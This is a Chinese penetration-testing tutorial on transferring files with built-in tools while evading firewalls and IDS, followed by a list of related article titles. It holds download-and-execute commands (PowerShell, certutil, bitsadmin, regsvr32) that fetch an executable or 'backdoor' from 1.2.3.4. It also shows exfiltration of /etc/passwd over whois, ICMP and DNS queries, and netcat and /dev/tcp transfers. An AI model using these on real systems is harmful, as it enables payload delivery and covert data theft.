渗透测试中的文件传输技巧
目录
搭建 HTTP server
Python
PHP 5.4+
Ruby
Ruby 1.9.2+
Perl
busybox httpd
Download files from HTTP server
Windows
Linux
Setup HTTP PUT server
使用 Nginx 搭建 HTTP PUT Server
使用 Python 搭建 HTTP PUT Server
上传文件到 HTTP PUT server
Linux
Windows
使用 Bash /dev/tcp 进行文件传输
使用 SMB 协议进行文件传输
搭建简易 SMB Server
使用 whois 命令进行文件传输
使用 ping 命令进行文件传输
使用 dig 命令进行文件传输
使用 NetCat 进行文件传输
参考链接
在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
搭建 HTTP server
Python
python2:
python -m SimpleHTTPServer 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
python3:
python -m http.server 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
PHP 5.4+
当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337
php -S 0.0.0.0:1337
Ruby
下面的命令会在当前目录下启动 HTTP 服务,端口为 1337
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
Ruby 1.9.2+
ruby -run -e httpd . -p 1337
Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver
busybox httpd
busybox httpd -f -p 8000
本条来自:lvm
Download files from HTTP server
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
Windows
powershell
下载并执行:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
certutil
下载并执行:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe
bitsadmin
下载并执行:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe
bitsadmin 的下载速度比较慢
regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
Linux
Curl
curl http://1.2.3.4/backdoor
Wget
wget http://1.2.3.4/backdoor
awk
在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server
awk 'BEGIN {RS = ORS = "\r\n"HTTPCon = "/inet/tcp/0/127.0.0.1/1337"print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPConwhile (HTTPCon |& getline > 0)print $0close(HTTPCon)
}'
效果:
Setup HTTP PUT server
以下列出了上传文件到 HTTP Server 的几种方法
使用 Nginx 搭建 HTTP PUT Server
mkdir -p /var/www/upload/ # 创建目录
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录# 写入配置到 file_upload 文件
cat <<EOF > file_upload
server {listen 8001 default_server;server_name kali;location / {root /var/www/upload;dav_methods PUT;}
}
EOF
# 写入完毕
cd ../sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx
使用 Python 搭建 HTTP PUT Server
以下代码保存到 HTTPutServer.py
文件里:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerclass PUTHandler(BaseHTTPRequestHandler):def do_PUT(self):length = int(self.headers['Content-Length'])content = self.rfile.read(length)self.send_response(200)with open(self.path[1:], "w") as f:f.write(content)def run_on(port):print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))server_address = (sys.argv[1], port)httpd = HTTPServer(server_address, PUTHandler)httpd.serve_forever()if __name__ == "__main__":if len(sys.argv) < 3:print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))sys.exit(1)ports = [int(arg) for arg in sys.argv[2:]]try:for port_number in ports:server = Thread(target=run_on, args=[port_number])server.daemon = True # Do not make us wait for you to exitserver.start()signal.pause() # Wait for interrupt signal, e.g. KeyboardInterruptexcept KeyboardInterrupt:print "\nPython HTTP PUT Server Stoped."sys.exit(1)
运行方法:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...
上传文件到 HTTP PUT server
Linux
Curl
$ curl --upload-file secret.txt http://ip:port/
Wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/
Windows
Powershell
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body
使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
nc -lvnp 1337 > secret.txt
文件发送端:
cat secret.txt > /dev/tcp/ip/port
使用 SMB 协议进行文件传输
搭建简易 SMB Server
搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py
文件
Impacket
已默认安装在 Kali Linux 系统中
syntax: impacker-smbserver ShareName SharePath
$ mkdir smb # 创建 smb 目录
$ cd smb # 进入 smb目录
$ impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share
效果:
从 SMB server 下载文件
copy \\IP\ShareName\file.exe file.exe
上传文件到 SMB server
net use x: \\IP\ShareNamecopy file.txt x:net use x: /delete
使用 whois 命令进行文件传输
/etc/passwd
Host A
Host B
接收端 Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d
发送端 Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`
效果:
使用 ping 命令进行文件传输
secret.txt
Sender
Reciver
发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
接收端:
以下代码保存到 ping_receiver.py
import systry:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")sys.exit(0)def process_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type == 8:data = pkt[ICMP].load[-4:]print(f'{data.decode("utf-8")}', flush=True, end="", sep="")sniff(iface="eth0", prn=process_packet)
执行方法:
python3 ping_receiver.py
效果
使用 dig 命令进行文件传输
/etc/passwd
Sender
Reciver
发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
接收端:
以下代码使用了 python 的 scapy
模块,需要手动安装
代码保存到 dns_reciver.py
文件中
try:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")def process_packet(pkt):if pkt.haslayer(DNS):domain = pkt[DNS][DNSQR].qname.decode('utf-8')root_domain = domain.split('.')[1]if root_domain.startswith('gooogle'):print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')sniff(iface="eth0", prn=process_packet)
运行方法:
python3 dns_reciver.py
效果:
使用 NetCat 进行文件传输
1.txt
A:10.10.10.100
B:10.10.10.200
接受端:
nc -l -p 1337 > 1.txt
发送端:
cat 1.txt | nc -l -p 1337
或者
nc 10.10.10.200 1337 < 1.txt
在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt
渗透测试中的文件传输技巧相关推荐
- 浅析DNSlog在渗透测试中的实战技巧
文章目录 前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打 总结 前言 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...
- 渗透测试中信息收集的那些事
渗透测试中信息收集的那些事 转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...
- 渗透测试中常用端口及利用
渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...
- 渗透测试中的端口利用
渗透测试中的端口利用 我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...
- 渗透测试中的msiexec
本文讲的是渗透测试中的msiexec, 0x00 前言 在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念.关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这 ...
- linux系统中的文件传输
Linux系统中的文件传输 1 实验环境 2 scp命令 3 rsync命令 3.1 rsync和scp命令对比 3.2 rsync命令用法 4 文件的归档压缩 4.1 文件归档 4.2 文件压缩 4 ...
- 服务器测试文件怎么创建,如何创建一个“FTPS”模拟服务器以单元测试Java中的文件传输...
我有一个创建FTPS连接的CreateFTPConnection类.使用此连接传输文件.这里是TransferFile类的代码如何创建一个"FTPS"模拟服务器以单元测试Java中 ...
- 计算机硬盘无法查找文件,硬盘系统中的文件搜索技巧整理
硬盘系统中的文件搜索技巧整理 发布时间:2014-03-04 09:07:58 作者:佚名 我要评论 电脑已成为一个知识库,许多文件都可以从里面找到,当我们要寻找以前看过的某个文件时,如果记不 ...
- 如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程
在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作 那么 ,proxychains是什么? GNU协议 ...
最新文章
- MSN8.0测试邀请发放
- 浅析网站SEO与网站建设密不可分的关系
- boost::ratio_equal相关的测试程序
- 群晖pxe安装windows_通过PXE快速部署VMware ESXi 6.5
- TypeScript 函数类型参数的用法举例
- 哪些网站在+1s后有神奇的功能
- PHP ajax 传递中文乱码,ajax+php传递中文乱码解决办法
- java 按钮不可用_java – 如何使按钮不可点击
- 【Selenium Grid 分布式测试】Selenium Grid下载安装
- C#编写CPU压力测试程序
- 前轮反馈控制(Stanley) 法
- 什么专业越老越吃香?
- officeXP打开docx文档的方法
- CAN总线学习笔记(1)- CAN基础知识
- 移动MM 支付SDK遇到的问题
- 斯蒂文斯理工学院计算机专业应聘,斯蒂文斯理工学院回国认可度高不高
- eNSP实验vlan及交换机接口类型配置
- linux网站权限恢复,RMAN异机恢复——备份集权限问题
- 谱分析——连续傅里叶变换
- 身份证正反面识别,身份证扫描识别,二代身份证OCR识别,OCR极速识别身份证所有信息正反面均可。离线无需联网,极速秒扫。